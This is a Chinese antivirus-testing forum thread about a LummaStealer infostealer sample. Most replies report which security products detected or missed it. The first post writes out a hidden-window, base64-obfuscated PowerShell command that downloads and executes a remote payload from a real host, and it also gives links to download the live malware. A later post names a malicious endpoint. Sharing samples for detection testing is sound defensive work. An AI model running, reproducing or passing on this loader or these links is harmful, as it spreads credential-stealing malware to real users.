LummaStealer 1x

显示全部楼层 · 发表于 2024-11-25 20:39:45

https://www.virustotal.com/gui/file/e18684e62b3c076b91a776b71539a8b7640932055ae0831b73ad5fee7c5dd4e7

POwerSheLL -w hiDDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8va2Fua3JmaWxlei5iLWNkbi5uZXQvWlVFc21FUFoudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"

复制代码

DL:
https://wwpp.lanzouv.com/iPpvU2g90igh
https://x.ws28.cn/f/fnn5l7rff8h

显示全部楼层 · 发表于 2024-11-25 21:02:52

火绒kill黑dll

病毒名称：Trojan/Hijack.ld
病毒ID：AFED2D23EF19875B
病毒路径：E:\Lumma\QtCore4.dll
操作类型：修改
操作结果：已处理，删除文件
进程ID：3032
操作进程：D:\Program Files (x86)\360\360zip\360zip.exe
操作进程命令行："D:\Program Files (x86)\360\360zip\360zip.exe" -x "E:\Lumma\UTnAsTIj.zip" "E:\Lumma"
父进程ID：2996
父进程：C:\Windows\explorer.exe

复制代码

显示全部楼层 · 发表于 2024-11-25 21:03:49

双击程序注入msiexec.exe联网，卡巴拦截了些恶意网页https://powerful-avoids.sbs/api，过一会程序自动退出！

显示全部楼层 · 发表于 2024-11-25 21:51:00

显示全部楼层 · 发表于 2024-11-25 21:51:37

本帖最后由 lsop1349987 于 2024-11-25 21:54 编辑

虚拟机大蜘蛛双击防火墙提示，一直允许后阻止URL

显示全部楼层 · 发表于 2024-11-25 21:52:03

金山毒霸扫描miss

显示全部楼层 · 发表于 2024-11-25 22:43:51

这种代码过不了卡巴主防，payload下载不了。

事件: 检测到恶意对象
应用程序: Windows Explorer
用户: 小之之的微星\72428
用户类型: 发起者
组件: 系统监控
结果说明: 检测到
类型: 木马
名称: PDM:Exploit.Win32.Generic
威胁级别: 高
对象类型: 进程
对象路径: C:\Windows
对象名称: explorer.exe
原因: 行为分析
数据库发布日期: 今天，2024/11/25 21:41:00
MD5: 4982A78481EC8671A822036E30DA175E

显示全部楼层 · 发表于 2024-11-25 23:03:19

本帖最后由 biue 于 2024-11-26 23:00 编辑

腾讯电脑管家 1X

显示全部楼层 · 发表于 2024-11-26 00:40:44

EIS kill

显示全部楼层 · 发表于 2024-11-27 17:49:20

本帖最后由 yaokai815 于 2024-11-28 11:40 编辑

360 瑞星均kill

[病毒样本] LummaStealer 1x

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源